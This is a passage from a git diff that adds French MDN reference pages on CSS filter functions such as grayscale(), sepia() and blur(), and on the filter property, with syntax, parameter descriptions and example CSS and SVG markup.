+ <div class="warning"><strong>Attention !</strong> Chrome et Safari (basés sur WebKit) ne prennent pas en charge ce paramètre. S'il est utilisé, l'effet ne sera pas applique du tout.</div>
+ </dd>
+ <dt><code>couleur</code>{{optional_inline}}</dt>
+ <dd>La couleur de l'ombre, indiquée sous la forme d'une valeur {{cssxref("&lt;color&gt;")}}. La valeur par défaut dépend du navigateur. Pour Firefox et Internet Explorer, c'est la valeur de la propriété {{cssxref("color")}} qui sera utilisée alors que les navigateurs basés sur WebKit utiliseront une ombre transparente par défaut.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">/* Une ombre noire avec un flou de 10px de rayon. */
+drop-shadow(16px 16px 10px black)
+
+/* Une ombre rouge avec un flou de 1rem de rayon et de .3rem d'étalement */
+/* Attention, à l'heure actuelle, ce type d'ombre n'est pas pris en charge */
+/* par l'ensemble des navigateurs */
+drop-shadow(.5rem .5rem 1rem .3rem #e23)</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>La propriété CSS {{cssxref("box-shadow")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/grayscale()/index.html b/files/fr/web/css/filter-function/grayscale()/index.html
new file mode 100644
index 0000000000..f469d4e70d
--- /dev/null
+++ b/files/fr/web/css/filter-function/grayscale()/index.html
@@ -0,0 +1,40 @@
+---
+title: grayscale()
+slug: Web/CSS/filter-function/grayscale()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/grayscale()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>grayscale()</strong></code> convertit une image en niveaux de gris. Le résultat de cette fonction est une valeur {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-grayscale.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">grayscale(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>L'intensité de la conversion, indiquée sous la forme d'un nombre ({{cssxref("&lt;number&gt;")}}) ou d'un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Avec une valeur égale à <code>100%</code>, l'image obtenue sera complètement en niveaux de gris. Avec une valeur égale à <code>0%</code>, l'image source restera inchangée. Les valeurs comprises entre <code>0%</code> et <code>100%</code> auront un effet intermédiaire (progression linéaire). Dans le cas d'une interpolation, la valeur par défaut utilisée est <code>0</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">grayscale(0)     /* Aucun effet */
+grayscale(.7)    /* Converti à 70% en niveaux de gris */
+grayscale(100%)  /* Uniquement en niveaux de gris */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/hue-rotate()/index.html b/files/fr/web/css/filter-function/hue-rotate()/index.html
new file mode 100644
index 0000000000..051c35b96b
--- /dev/null
+++ b/files/fr/web/css/filter-function/hue-rotate()/index.html
@@ -0,0 +1,43 @@
+---
+title: hue-rotate()
+slug: Web/CSS/filter-function/hue-rotate()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/hue-rotate()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>hue-rotate()</code></strong> permet d'appliquer une rotation de teinte sur une image. Le résultat de cette fonction est une valeur {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{ {EmbedInteractiveExample("pages/css/function-hue-rotate.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">hue-rotate(<em>angle</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>angle</code></dt>
+ <dd>L'angle de rotation sur le cercle des couleurs, exprimé avec une valeur de type {{cssxref("&lt;angle&gt;")}}. Une valeur de <code>0deg</code> laissera l'image inchangée. La valeur utilisée par défaut pour une interpolation sera <code>0</code>. Bien qu'il n'y ait pas de valeur maximale, la valeur de l'angle est toujours ramenée entre <code>360deg</code> et <code>0deg</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">hue-rotate(-90deg);  /* Correspond à une rotation de 270deg */
+hue-rotate(0deg);    /* Sans effet */
+hue-rotate(90deg);   /* Rotation de 90deg */
+hue-rotate(.5turn);  /* Rotation de 180deg */
+hue-rotate(405deg);  /* Correspond à une rotation de 45deg */
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/index.html b/files/fr/web/css/filter-function/index.html
new file mode 100644
index 0000000000..23761cc504
--- /dev/null
+++ b/files/fr/web/css/filter-function/index.html
@@ -0,0 +1,69 @@
+---
+title: <filter-function>
+slug: Web/CSS/filter-function
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/filter-function
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <code><strong>&lt;filter-function&gt;</strong></code> représente un effet graphique qui peut modifier l'apparence d'une image. Il est notamment utilisé avec les propriétés {{cssxref("filter")}} et {{cssxref("backdrop-filter")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur de type <code>&lt;filter-function&gt;</code> se construit avec l'une des fonctions listées ci-après. Chaque fonction utilise un argument et si celui-ci est invalide, aucun filtre n'est appliqué.</p>
+
+<dl>
+ <dt>{{cssxref("filter-function/blur", "blur()")}}</dt>
+ <dd>Ajoute un flou sur l'image.</dd>
+ <dt>{{cssxref("filter-function/brightness", "brightness()")}}</dt>
+ <dd>Rend l'image plus claire ou plus sombre.</dd>
+ <dt>{{cssxref("filter-function/contrast", "contrast()")}}</dt>
+ <dd>Augmente ou diminue le contraste de l'image.</dd>
+ <dt>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}</dt>
+ <dd>Applique une ombre portée derrière l'image.</dd>
+ <dt>{{cssxref("filter-function/grayscale", "grayscale()")}}</dt>
+ <dd>Convertit l'image en niveaux de gris.</dd>
+ <dt>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}​​​​​​​​​​​​​​</dt>
+ <dd>Modifie la teinte globale de l'image.</dd>
+ <dt>{{cssxref("filter-function/invert", "invert()")}}</dt>
+ <dd>Inverse les couleurs de l'image.</dd>
+ <dt>{{cssxref("filter-function/opacity", "opacity()")}}</dt>
+ <dd>Rend l'image transparente.</dd>
+ <dt>{{cssxref("filter-function/saturate", "saturate()")}}</dt>
+ <dd>Sursature ou désature l'image.</dd>
+ <dt>{{cssxref("filter-function/sepia", "sepia()")}}</dt>
+ <dd>Convertit l'image en sépia.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#typedef-filter-function', '&lt;filter-function&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés qui utilisent ce type de donnée :
+  <ul>
+   <li>{{cssxref("filter")}}</li>
+   <li>{{cssxref("backdrop-filter")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/filter-function/invert()/index.html b/files/fr/web/css/filter-function/invert()/index.html
new file mode 100644
index 0000000000..25a034fdd1
--- /dev/null
+++ b/files/fr/web/css/filter-function/invert()/index.html
@@ -0,0 +1,40 @@
+---
+title: invert()
+slug: Web/CSS/filter-function/invert()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/invert()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>invert()</code></strong> permet d'inverser les couleurs de l'image. La valeur obtenue par cette fonction est de type {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-invert.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">invert(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>L'intensité de la conversion, indiquée sous la forme d'un nombre ({{cssxref("&lt;number&gt;")}}) ou d'un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Avec <code>100%</code>, les couleurs seront entièrement inversées (ce sera un négatif de l'image originale). Une valeur de <code>0%</code> ne modifiera pas l'image. Les valeurs intermédiaires auront un effet proportionnel. Lors d'une interpolation, la valeur utilisée par défaut est <code>0</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">invert(0);     /* Aucun effet */
+invert(.6);    /* Inversion à 60% */
+invert(100%);  /* Négatif de l'image originale */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/opacity()/index.html b/files/fr/web/css/filter-function/opacity()/index.html
new file mode 100644
index 0000000000..6518f7b998
--- /dev/null
+++ b/files/fr/web/css/filter-function/opacity()/index.html
@@ -0,0 +1,45 @@
+---
+title: opacity()
+slug: Web/CSS/filter-function/opacity()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/opacity()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>opacity()</code></strong> permet de modifier la transparence de l'image. Le résultat obtenu par cette fonction est une valeur {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{ {EmbedInteractiveExample("pages/css/function-opacity.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette fonction est proche de la propriété {{cssxref("opacity")}} mais, selon le navigateur, les filtres CSS peuvent bénéficier de l'accélération matérielle pour de meilleures performances.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">opacity(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>L'intensité de l'opacité, indiquée comme un nombre ({{cssxref("&lt;number&gt;")}}) ou comme un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Une  valeur de <code>0%</code> entraînera une image complètement transparente. Une valeur de <code>100%</code> laissera l'image inchangée. Les valeurs intermédiaires auront un effet proportionnel. Lors d'une interpolation, la valeur par défaut utilisée sera <code>1</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">opacity(0%);   /* Complètement transparente */
+opacity(50%);  /* 50% transparent */
+opacity(1);    /* Aucun effet */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>La propriété CSS {{cssxref("opacity")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/saturate()/index.html b/files/fr/web/css/filter-function/saturate()/index.html
new file mode 100644
index 0000000000..4d5e6ac851
--- /dev/null
+++ b/files/fr/web/css/filter-function/saturate()/index.html
@@ -0,0 +1,41 @@
+---
+title: saturate()
+slug: Web/CSS/filter-function/saturate()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/saturate()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>saturate()</code></strong> permet d'accentuer ou de réduire la saturation d'une image. La valeur obtenue par cette fonction est une valeur de type {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-saturate.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">saturate(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>L'intensité de la modification sous la forme d'un nombre ({{cssxref("&lt;number&gt;")}}) ou d'un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Une valeur inférieure à <code>100%</code> réduira la saturation et une valeur supérieure accentuera la saturation. Une valeur de <code>0%</code> désaturera complètement l'image alors qu'une valeur de <code>100%</code> laissera l'image inchangée. Lors d'une interpolation, la valeur par défaut est <code>1</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">saturate(0);     /* Complètement sous-saturée */
+saturate(.4);    /* Sous-saturée à 40% */
+saturate(100%);  /* Aucun effet */
+saturate(200%);  /* Saturation doublée */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/sepia()/index.html b/files/fr/web/css/filter-function/sepia()/index.html
new file mode 100644
index 0000000000..b6e0b21e8d
--- /dev/null
+++ b/files/fr/web/css/filter-function/sepia()/index.html
@@ -0,0 +1,40 @@
+---
+title: sepia()
+slug: Web/CSS/filter-function/sepia()
+tags:
+  - CSS
+  - Filtre
+  - Fonction
+  - Reference
+translation_of: Web/CSS/filter-function/sepia()
+---
+<div>{{cssref}}</div>
+
+<p>La fonction CSS <strong><code>sepia()</code></strong> convertit une image en sépia, lui donnant un aspect plus jaune/marron, voire vielli. Le résultat obtenu est une valeur de type {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-sepia.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">sepia(<em>multiplicateur</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>multiplicateur</code></dt>
+ <dd>L'intensité de la conversion indiquée sous la forme d'un nombre ({{cssxref("&lt;number&gt;")}}) ou d'un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Une valeur de <code>100%</code> permttra d'obtenir une image complètement sépia tandis qu'une valeur de <code>0%</code> laissera l'image inchangée. Les valeurs entre <code>0%</code> et <code>100%</code> représenteront des conversions proportionnelles. Lors d'une interpolation, la valeur par défaut sera <code>0</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">sepia(0);     /* Aucun effet */
+sepia(.65);   /* 65% de sépia */
+sepia(100%);  /* Complètement sépia */</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter-function/url/index.html b/files/fr/web/css/filter-function/url/index.html
new file mode 100644
index 0000000000..958e94fff7
--- /dev/null
+++ b/files/fr/web/css/filter-function/url/index.html
@@ -0,0 +1,33 @@
+---
+title: url()
+slug: Web/CSS/filter-function/url
+tags:
+  - CSS
+  - Junk
+  - Reference
+translation_of: Web/CSS/url()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>url()</code></strong> permet d'utiliser un <a href="/fr/docs/Web/SVG/Element/filter">filtre SVG</a> afin de modifier l'apparence d'une image.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">url(<em>emplacement</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>emplacement</code></dt>
+ <dd>L'URL ({{cssxref("&lt;url&gt;")}}) d'un fichier {{glossary("XML")}} qui définit un filtre SVG. On peut ajouter une ancre sur cette URL afin d'indiquer un filtre spécifique.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: css">url(ressources.svg#c1)</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/filter/index.html b/files/fr/web/css/filter/index.html
new file mode 100644
index 0000000000..2e10b2f60c
--- /dev/null
+++ b/files/fr/web/css/filter/index.html
@@ -0,0 +1,1165 @@
+---
+title: filter
+slug: Web/CSS/filter
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/filter
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>filter</code></strong> permet d'appliquer des filtres et d'obtenir des effets graphiques de flou, de saturation, etc. Les filtres sont généralement utilisés pour ajuster le rendu d'une image, d'un arrière-plan ou des bordures.</p>
+
+<p>Plusieurs fonctions sont inclues dans le standard CSS et permettent d'obtenir des effets prédéfinis. Il est également possible d'utiliser un filtre SVG via une URL référençant <a href="/fr/docs/Web/SVG/Element/filter">un élément SVG <code>filter</code></a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/filter.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* URL vers un filtre SVG */
+filter: url("filters.svg#filter-id");
+
+/* Fonctions de filtre */
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* On applique plusieurs filtres */
+filter: contrast(175%) brightness(3%);
+
+/* On utilise aucun filtre */
+filter: none;
+
+/* Valeurs globales */
+filter: inherit;
+filter: initial;
+filter: unset;
+</pre>
+
+<p>Avec une fonction, on utilisera la forme suivante :</p>
+
+<pre class="syntaxbox">filter: &lt;filter-function&gt; [&lt;filter-function&gt;]* | none
+</pre>
+
+<p>En utilisant un élément SVG {{SVGElement("filter")}}, on utilisera la forme suivante :</p>
+
+<pre class="syntaxbox">filter: url(file.svg#filter-element-id)
+</pre>
+
+<h3 id="Interpolation">Interpolation</h3>
+
+<p>Si les deux filtres possèdent chacun une liste de même longueur (sans {{cssxref("&lt;url&gt;")}}, chacune des fonctions est interpolée selon ses propres règles. Si les deux listes ont des longueurs différentes, les derniers filtres de la liste la plus longue sont utilisés avec leurs valeurs par défaut afin de compléter la liste la plus courte, ensuite chaque fonction est interpolée selon ses propres règles. Si un filtre vaut <code>none</code>, il est remplacé avec la fonction de filtre (avec ses valeurs par défaut) de l'autre liste puis l'ensemble des fonctions est interpolé selon les règles de chacune. Dans les autres cas, on utilise un interpolation discrète.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici un rapide exemple de filtre fonctionnel. Chaque fonction est illustrée en détail par la suite.</p>
+
+<pre class="brush: css">.mydiv { filter: grayscale(50%) }
+
+/* on applique un niveau de gris à 50% */
+/* et un flou dont le rayon vaut 10px  */
+img {
+  filter: grayscale(0.5) blur(10px);
+}</pre>
+
+<p>Voici un rapide exemple de filtre utilisant une ressource SVG :</p>
+
+<pre class="brush: css">.target { filter: url(#c1); }
+
+.mydiv { filter: url(commonfilters.xml#large-blur) }
+</pre>
+
+<h2 id="Fonctions_prédéfinies">Fonctions prédéfinies</h2>
+
+<p>Pour utiliser la propriété CSS <code>filter</code>, on utilisera <code>none</code> ou une ou plusieurs des fonctions listées ci-après avec, pour chacune, un argument. Si la valeur est invalide, la fonction renverra <code>none</code>. Sauf mention contraire, les fonctions qui acceptent des valeurs exprimées en pourcentages (34%) acceptent également des valeurs décimales (0.34).</p>
+
+<h3 id="url"><code>url()</code></h3>
+
+<p>La fonction <code>url()</code> prend comme argument l'emplacement d'un fichier XML qui définit le filtre SVG à appliquer. L'URL peut faire référence à une ancre d'un élément spécifique.</p>
+
+<pre class="brush: css">filter: url(resources.svg#c1)
+</pre>
+
+<h3 id="blur"><code>blur()</code></h3>
+
+<p>Cette fonction applique un flou gaussien à l'image d'entrée. La valeur du paramètre correspond au rayon de flou (l'écart-type de la gaussienne) utilisé. Plus la valeur est importante, plus le flou sera prononcé. La valeur par défaut du paramètre est 0. Selon la spécification, le paramètre est une valeur de type {{cssxref("&lt;length&gt;")}} mais la fonction n'accepte pas de valeurs exprimées en pourcentages.</p>
+
+<pre class="brush: css">filter: blur(5px)
+</pre>
+
+<div id="blur_example" style="display: none;">
+<pre class="brush: html">  &lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg id="img3" viewbox="0 0 233 176"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%" &gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" /&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3710/Test_Form_2.jpeg" filter="url(#svgBlur)" x="5%" y="5%" width="212px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" src="/files/3711/Test_Form_2_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", Lucida, Arial, Helvetica, sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -webkit-filter:blur(5px);
+  -ms-filter:blur(5px);
+  filter:blur(5px); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0;
+  margin: 0 0 1.286em;
+  height: 100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html line-numbers  language-html">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('blur_example','100%','236px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/blur", "blur()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="brightness"><code>brightness()</code></h3>
+
+<p>La fonction permet de modifier la luminosité d'une image grâce à un facteur linéaire. Un argument égal <code>0%</code> créera une image totalement noire et une valeur de <code>100%</code> conservera l'image d'entrée telle quelle. Il est possible d'utiliser des valeurs supérieures à <code>100%</code> afin d'obtenir des images saturées en luminosité. La valeur par défaut pour l'argument est <code>1</code>.</p>
+
+<pre class="brush: css">filter: brightness(0.5)</pre>
+
+<pre class="brush: html line-numbers  language-html">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="[amount]"/&gt;
+        &lt;feFuncG type="linear" slope="[amount]"/&gt;
+        &lt;feFuncB type="linear" slope="[amount]"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="brightness_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 286 217"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="2"/&gt;
+        &lt;feFuncG type="linear" slope="2"/&gt;
+        &lt;feFuncB type="linear" slope="2"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3708/Test_Form.jpg" filter="url(#brightness)" width="286px" height="217px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" src="/files/3709/Test_Form_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:brightness(2);
+  -webkit-filter:brightness(2);
+  -o-filter:brightness(2);
+  -ms-filter:brightness(2);
+  filter:brightness(2); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height:100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('brightness_example','100%','231px','')}}</p>
+
+<div class="blockIndicator note">
